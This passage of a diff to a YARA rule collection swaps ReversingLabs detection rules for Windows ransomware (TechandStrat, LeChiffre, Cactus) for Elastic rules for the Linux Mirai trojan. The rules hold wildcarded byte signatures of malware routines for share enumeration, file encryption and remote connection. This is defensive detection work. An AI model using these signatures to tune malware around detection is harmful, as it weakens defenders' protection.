-            ?? ?? 8D B4 26 ?? ?? ?? ?? 8D BC 27 ?? ?? ?? ?? 8B 44 24 ?? 66 C7 44 03 ?? ?? ?? E9
-            ?? ?? ?? ?? 66 8B 54 0E ?? 66 89 54 08 ?? E9 ?? ?? ?? ?? 90 8B 54 24 ?? 8B 44 24 ??
-            E9
-        }
+		$a = { 85 82 11 79 AF 20 C2 7A 9E 18 6C A9 00 21 E2 6A C6 D5 59 B4 E8 }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)) and ( all of ($remote_connection_p*))
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Techandstrat : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_6A77Af0F : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects TechandStrat ransomware."
-		author = "ReversingLabs"
-		id = "525d0b48-2018-5848-b9e7-def8395254eb"
-		date = "2021-05-17"
-		modified = "2021-05-17"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.TechandStrat.yara#L1-L106"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "80e201cf91adeee100e05af3ba5227fc61968bb6e0ce602107ba1217a7a62856"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "6a77af0f-31fa-4793-82aa-10b065ba1ec0"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L813-L830"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "7d7623dfc1e16c7c02294607ddf46edd12cdc7d39a2b920d8711dc47c383731b"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "TechandStrat"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "4e436f509e7e732e3d0326bcbdde555bba0653213ddf31b43cfdfbe16abb0016"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$enum_shares_p1 = {
-            55 8B EC 83 EC ?? 53 56 57 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 FF 75 ?? C7 45 ?? ?? ??
-            ?? ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 75 ?? 6A ?? FF
-            15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B D8 85 DB 74 ?? 8D 45 ?? 50 53 8D 45 ?? 50 FF
-            75 ?? FF 15 ?? ?? ?? ?? 85 C0 75
-        }
-		$enum_shares_p2 = {
-            8D 46 ?? B9 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? EB ?? FF 36 E8 ?? ?? ?? ?? 47 83 C6 ?? 3B
-            7D ?? 72 ?? 8D 45 ?? 50 53 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 53 6A
-            ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 5F 5E 5B 8B E5
-            5D C2
-        }
-		$find_files = {
-            8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 4D ?? 53 8B 5D ??
-            56 8B 75 ?? 57 89 B5 ?? ?? ?? ?? EB ?? 8A 01 3C ?? 74 ?? 3C ?? 74 ?? 3C ?? 74 ?? 51
-            53 E8 ?? ?? ?? ?? 59 59 8B C8 3B CB 75 ?? 8A 11 80 FA ?? 75 ?? 8D 43 ?? 3B C8 74 ??
-            56 33 FF 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 33 FF 80 FA ?? 74 ?? 80 FA ?? 74 ??
-            80 FA ?? 74 ?? 8B C7 EB ?? 33 C0 40 0F B6 C0 2B CB 41 F7 D8 68 ?? ?? ?? ?? 1B C0 23
-            C1 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ??
-            ?? 57 57 57 50 57 53 FF 15 ?? ?? ?? ?? 8B F0 8B 85 ?? ?? ?? ?? 83 FE ?? 75 ?? 50 57
-            57 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74 ?? 56 FF 15 ?? ?? ?? ?? 8B C7 8B 4D
-            ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ??
-            ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 8A 8D ?? ?? ?? ?? 84 C9 74 ?? 80 F9 ?? 75 ?? 80 BD ??
-            ?? ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 83 C4
-            ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 8B 85 ?? ?? ?? ?? 75
-            ?? 8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B C8 0F 84 ?? ?? ?? ?? 68 ?? ??
-            ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8B FF 56 57
-            8B F9 8B 37 EB ?? FF 36 E8 ?? ?? ?? ?? 59 83 C6 ?? 3B 77 ?? 75 ?? FF 37 E8 ?? ?? ??
-            ?? 59 5F 5E C3
-        }
-		$encrypt_files_p1 = {
-            55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 8B 75 ?? 8D 44 24 ?? 57 50 C6 44
-            24 ?? ?? FF 36 FF 15 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ??
-            8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B 4C 24 ?? 83 C4 ?? 8B
-            44 24 ?? 81 E9 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 83 D8 ?? 6A ?? 6A ?? 50 51 FF 36 FF D7
-            6A ?? 8D 44 24 ?? 50 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF 36 FF 15 ?? ?? ?? ??
-            81 BC 24 ?? ?? ?? ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 33
-            D2 69 C0 ?? ?? ?? ?? 89 4C 24 ?? 8B 4C 24 ?? 89 8C 24 ?? ?? ?? ?? 83 C9 ?? 51 40 C7
-            44 24 ?? ?? ?? ?? ?? F7 F1 8D 84 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 50
-            C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 89 54 24 ?? 89 94
-            24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 94 24 ??
-            ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 10 84 24 ?? ?? ?? ?? 6A ?? 6A ?? 0F
-            11 84 24 ?? ?? ?? ?? 0F 57 C0 66 0F 13 44 24 ?? 8B 44 24 ?? 50 89 44 24 ?? 8B 44 24
-            ?? 50 FF 36 89 44 24 ?? FF D7 6A ?? 8D 44 24 ?? 0F 57 C0 50 68 ?? ?? ?? ?? 8D 84 24
-            ?? ?? ?? ?? 66 0F 13 44 24 ?? 50 FF 36 FF 15 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 85
-            C0 0F 84
-        }
-		$encrypt_files_p2 = {
-            6A ?? 6A ?? FF 74 24 ?? 0F 11 84 24 ?? ?? ?? ?? FF 74 24 ?? FF 36 FF 15 ?? ?? ?? ??
-            6A ?? 8D 44 24 ?? 50 FF 74 24 ?? 8D 84 24 ?? ?? ?? ?? 50 FF 36 FF 15 ?? ?? ?? ?? 8B
-            84 24 ?? ?? ?? ?? 8B C8 85 C0 B8 ?? ?? ?? ?? 6A ?? 0F 44 C8 69 44 24 ?? ?? ?? ?? ??
-            33 D2 6A ?? 40 89 44 24 ?? F7 F1 8B 4C 24 ?? 33 C0 83 C2 ?? 13 C0 01 54 24 ?? 13 C8
-            8B 44 24 ?? 89 4C 24 ?? 0F A4 C1 ?? C1 E0 ?? 51 50 FF 36 89 4C 24 ?? 89 44 24 ?? FF
-            15 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 50 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF 36 FF
-            15 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84
-            24 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 83 C4 ?? C7 84 24 ?? ?? ??
-            ?? ?? ?? ?? ?? 6A ?? 6A ?? FF D7 8B 35 ?? ?? ?? ?? 50 FF D6 6A ?? 6A ?? 89 44 24 ??
-            FF D7 50 FF D6 6A ?? 6A ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ??
-            ?? FF D7 50 FF D6 6A ?? 6A ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ??
-            ?? ?? FF D7 50 FF D6
-        }
-		$encrypt_files_p3 = {
-            6A ?? 6A ?? 66 0F 13 44 24 ?? FF 74 24 ?? FF 74 24 ?? FF 36 FF 15 ?? ?? ?? ?? 6A ??
-            8D 44 24 ?? 50 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF 36 FF 15 ?? ?? ?? ?? C6 44
-            24 ?? ?? FF 36 FF 15 ?? ?? ?? ?? 80 7C 24 ?? ?? 74 ?? 68 ?? ?? ?? ?? 6A ?? 83 C6 ??
-            56 FF 15 ?? ?? ?? ?? 56 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D
-            84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ??
-            8B 75 ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? FF 15
-        }
+		$a = { 31 D1 89 0F 48 83 C7 04 85 F6 7E 3B 44 89 C8 45 89 D1 45 89 C2 41 }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($enum_shares_p*)) and ($find_files) and ( all of ($encrypt_files_p*))
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Lechiffre : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_5F7B67B8 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects LeChiffre ransomware."
-		author = "ReversingLabs"
-		id = "5d2698fe-9a0b-549d-9a83-72e2ccfc1966"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.LeChiffre.yara#L1-L123"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "0b96f5f48700f2cba22da91187b3111946074e9cc58a502f25d7b96059a043cb"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "5f7b67b8-3d7b-48a4-8f03-b6f2c92be92e"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L832-L849"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "b2aedc0361c1093d7a996f26d907da3e4654c32a6dbcdbab441c19d4207f2e2a"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "LeChiffre"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "6cb5fb0b7c132e9c11ac72da43278025b60810ea3733c9c6d6ca966163185940"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$remote_connection_1 = {
-            55 8B EC 33 C9 51 51 51 51 51 51 51 53 56 57 89 45 ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF
-            30 64 89 20 8B 45 ?? 33 D2 E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45
-            ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 45 ??
-            E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 8B 50 ?? 8B 45
-            ?? 8B 08 FF 51 ?? 8B 45 ?? 8B 10 FF 52 ?? 8B F0 4E 85 F6 7C ?? 46 33 DB 8D 4D ?? 8B
-            D3 8B 45 ?? 8B 38 FF 57 ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 7E ?? 8D 45
-            ?? 50 8D 4D ?? 8B D3 8B 45 ?? 8B 38 FF 57 ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            83 E8 ?? 50 8D 4D ?? 8B D3 8B 45 ?? 8B 38 FF 57 ?? 8B 45 ?? BA ?? ?? ?? ?? 59 E8 ??
-            ?? ?? ?? 43 4E 75 ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ??
-            8B 45 ?? E8 ?? ?? ?? ?? C3
-        }
-		$remote_connection_2 = {
-            55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 33
-            C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8B 45 ?? 8B 80 ?? ?? ?? ?? 66 BE ?? ?? E8 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? E8
-            ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 45 ?? 8B 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 8B 45 ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8B 55 ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B 4D ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ??
-            ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? C3
-        }
-		$remote_connection_3 = {
-            E8 ?? ?? ?? ?? 8B 45 ?? 8B 80 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? B2 ?? A1 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 E8 ?? ??
-            ?? ?? DD 5D ?? 9B FF 75 ?? FF 75 ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ??
-            ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 8B 15 ?? ?? ?? ?? B9 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 45 ??
-            8B 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? E8 ?? ?? ?? ?? FF
-            75 ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B 4D
-            ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8B
-            45 ?? E8 ?? ?? ?? ?? C3
-        }
-		$encrypt_files_1 = {
-            E8 ?? ?? ?? ?? 8D 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? B8
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 55 ?? 8B 45 ?? E8 ?? ?? ?? ??
-            8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 55 ?? 8B 45 ?? E8
-            ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 55 ??
-            8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ??
-            ?? 83 7B ?? ?? 0F 84 ?? ?? ?? ?? 8B 13 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B
-            03 E8 ?? ?? ?? ?? 84 C0 75 ?? 8B 03 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? FF 86 ?? ??
-            ?? ?? B2 ?? 8B 86 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? 8B 03 E8 ?? ?? ?? ?? FF 75 ??
-            68 ?? ?? ?? ?? 8B 43 ?? C1 E8 ?? 33 D2 52 50 8D 45 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ??
-            ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 86 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8B 03 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? BA ?? ??
-            ?? ?? E8 ?? ?? ?? ?? C3
-        }
-		$encrypt_files_2 = {
-            E8 ?? ?? ?? ?? 8D 45 ?? 8B 15 ?? ?? ?? ?? 8B 12 8B 92 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D
-            45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? 8B 55 ?? E8 ?? ?? ?? ?? 3D ??
-            ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? FF 70 ?? 68 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ??
-            ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8B 45 ?? 8B 40
-            ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 50 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ??
-            ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ??
-            ?? ?? 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64
-            FF 30 64 89 20 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00
-            8B 90 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33
-            C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            C3 E9 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B
-            85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ??
-            ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0
-            55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            A1 ?? ?? ?? ?? 8B 00 8B 90 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 8B 45 ?? 50 68 ?? ?? ?? ?? 8B 45 ?? E8
-            ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8B 45 ?? 50 68 ?? ?? ?? ?? 8B 45
-            ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D
-            85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ??
-            C3 E9 ?? ?? ?? ?? EB ?? 8B E5 5D C3
-        }
-		$find_files = {
-            E8 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8B 55 ?? 8B C3 E8 ?? ?? ?? ??
-            84 C0 0F 85 ?? ?? ?? ?? 33 C0 89 43 ?? 8B 43 ?? E8 ?? ?? ?? ?? 8B F0 85 F6 7C ?? 46
-            33 FF 8B 43 ?? C7 04 B8 ?? ?? ?? ?? 47 4E 75 ?? 8B 43 ?? 8B 40 ?? E8 ?? ?? ?? ?? 8B
-            F0 85 F6 7C ?? 46 33 FF 8B 43 ?? 8B 40 ?? 8B 14 B8 8D 8D ?? ?? ?? ?? 8B 45 ?? E8 ??
-            ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8B 43 ?? 8B 53 ?? 89 14 B8 47 4E 75
-            ?? 8B 73 ?? 4E 85 F6 7C ?? 46 33 FF 80 7B ?? ?? 0F 85 ?? ?? ?? ?? 8D 04 BF 8B 53 ??
-            8D 04 C2 89 43 ?? 89 45 ?? 8D 8D ?? ?? ?? ?? 8B 45 ?? 8B 10 8B 45 ?? E8 ?? ?? ?? ??
-            8B 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8B
-            45 ?? 33 D2 E8 ?? ?? ?? ?? 47 4E 75 ?? 8B 43 ?? 8B 40 ?? 80 78 ?? ?? 0F 84 ?? ?? ??
-            ?? 80 7B ?? ?? 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? BA ?? ?? ??
-            ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 89 45
-            ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 F6 85 ??
-            ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8D 85 ?? ?? ?? ??
-            8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 74 ?? 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            8B 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B C3
-            E8 ?? ?? ?? ?? 80 7B ?? ?? 75 ?? 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 85
-            C0 0F 85 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ??
-            ?? C3 E9 ?? ?? ?? ?? EB ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
-            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 5F 5E 5B 8B E5 5D C3
-        }
+		$a = { 89 38 83 CF FF 89 F8 5A 59 5F C3 57 56 83 EC 04 8B 7C 24 10 8B 4C }
 
 	condition:
-		uint16(0)==0x5A4D and $find_files and $encrypt_files_1 and $encrypt_files_2 and $remote_connection_1 and $remote_connection_2 and $remote_connection_3
+		all of them
 }
-rule REVERSINGLABS_Win64_Ransomware_Cactus : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_A3Cedc45 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects Cactus ransomware."
-		author = "ReversingLabs"
-		id = "f391919a-b433-5f8d-8051-f0467118fa1b"
-		date = "2023-12-15"
-		modified = "2023-12-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win64.Ransomware.Cactus.yara#L1-L190"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "2953b67e926cb653df0de208b098da3d5c16e6690842ab28fbf8c37cd16f54d7"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "a3cedc45-962d-44b5-bf0e-67166fa6c1a4"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L851-L869"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1ae0cd7e5bac967e31771873b4b41a1887abddfcdfcc76fa9149bb2054b03ca4"
+		logic_hash = "9233e6faa43d8ea43ff3c71ecb5248d5d311b2a593825c299cac4466278cd020"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Cactus"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "8335e540adfeacdf8f45c9cb36b08fea7a06017bb69aa264dc29647e7ca4a541"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$encrypt_files_p1 = {
